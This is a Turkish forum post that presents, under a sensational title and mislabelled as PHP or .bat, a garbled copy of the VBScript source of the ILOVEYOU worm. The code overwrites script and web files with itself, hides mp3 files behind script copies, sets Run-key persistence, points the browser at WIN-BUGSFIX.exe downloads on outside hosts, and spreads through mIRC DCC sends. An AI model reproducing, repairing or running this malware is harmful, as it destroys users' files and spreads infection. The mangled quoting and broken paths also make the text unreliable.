En tehlikeli .bat komutu mutlaka bak.. //PoisonScorpion

PHP Kod:
rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=&"
ctr=0
Set fso = CreateObject(&Scripting.FileSystemObject&&#358221
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject(&WScript.Shell&&#358221
rr=wscr.RegRead(&HKEY_CURRENT_USERSoftwareMicro s oftWindow s Scripting HostSettingsTimeout&&#358221
if (rr>=1) then
wscr.RegWrite &HKEY_CURRENT_USERSoftwareMicrosoftWindo ws Scripting HostSettingsTimeout&,0,&REG_DWORD&
end if
Set dirwin = fso.GetSpecialFolder(0)2
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&&MSKernel32.vbs&&#358221
c.Copy(dirwin&&Win32DLL.vbs&&#358221
c.Copy(dirsystem&&LOVE-LETTER-FOR-YOU.TXT.vbs&&#358221
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunMSKernel32&,dirsystem&&MSKernel32.vbs&
regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunServicesWin32DLL&,dirwin&&Win32DLL.vbs&
downread=&"
downread=regget(&HKEY_CURRENT_USERSoftwareMicro s oftIntern et ExplorerDownload Directory&&#358221
if (downread=&") then
downread=&c:&
end if
if (fileexist(dirsystem&&WinFAT32.exe&&#358221=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~young1s/HJKh...jw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe&
elseif num = 2 then
regcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~angelcat/skl...546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe&
elseif num = 3 then
regcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~koichi/jf6TR...nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe&
elseif num = 4 then
regcreate &HKCUSoftwareMicrosoftInternet ExplorerMainStart Page&,&http://www.skyinet.net/~chu/sdgfhjks...DGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe&
end if
end if
if (fileexist(downread&&WIN-BUGSFIX.exe&&#358221=0) then
regcreate &HKEY_LOCAL_MACHINESoftwareMicrosoftWind ow s Cur rentVersio nRunWIN-BUGSFIX&,downread&&WIN-BUGSFIX.exe&
regcreate &HKEY_CURRENT_USERSoftwareMicrosoftInter ne t ExplorerMainStart Page&,&about:blank&
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&&&&#358221
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext=&vbs&&#358221 or (ext=&vbe&&#358221 then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext=&js&&#358221 or (ext=&jse&&#358221 or (ext=&css&&#358221 or (ext=&wsh&&#358221 or (ext=&sct&&#358221 or (ext=&hta&&#358221 then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
elseif(ext=&mp3&&#358243 or (ext=&mp2&&#358243 then
set mp3=fso.CreateTextFile(f1.path&&.vbs&&#358221
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s=&mirc32.exe&&#358221 or (s=&mlink32.exe&&#35822 or (s=&mirc.ini&&#358221 or (s=&script.ini&&#358221 or (s=&mirc.hlp&&#358221 then
set scriptini=fso.CreateTextFile(folderspec&&script. i ni&&#358221
scriptini.WriteLine &[script]&
scriptini.WriteLine &;mIRC Script&
scriptini.WriteLine &; Please dont edit this script& mIRC will corrupt, if mIRC will&
scriptini.WriteLine & corrupt& WINDOWS will affect and will not run correctly. thanks&
scriptini.WriteLine &;&
scriptini.WriteLine &;Khaled Mardam-Bey&
scriptini.WriteLine &;http://www.mirc.com&
scriptini.WriteLine &;&
scriptini.WriteLine &n0=on 1:JOIN:#:{&
scriptini.WriteLine &n1= /if ( şnick == şme ) { halt }&
scriptini.WriteLine &n2= /.dcc send şnick &&dirsystem&&LOVE-LETTER-FOR-YOU.HTM&
scriptini.WriteLine &n3=}&
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject(&WScript.Shell&&#358221
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject(&WScript.Shell&&#358221
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg]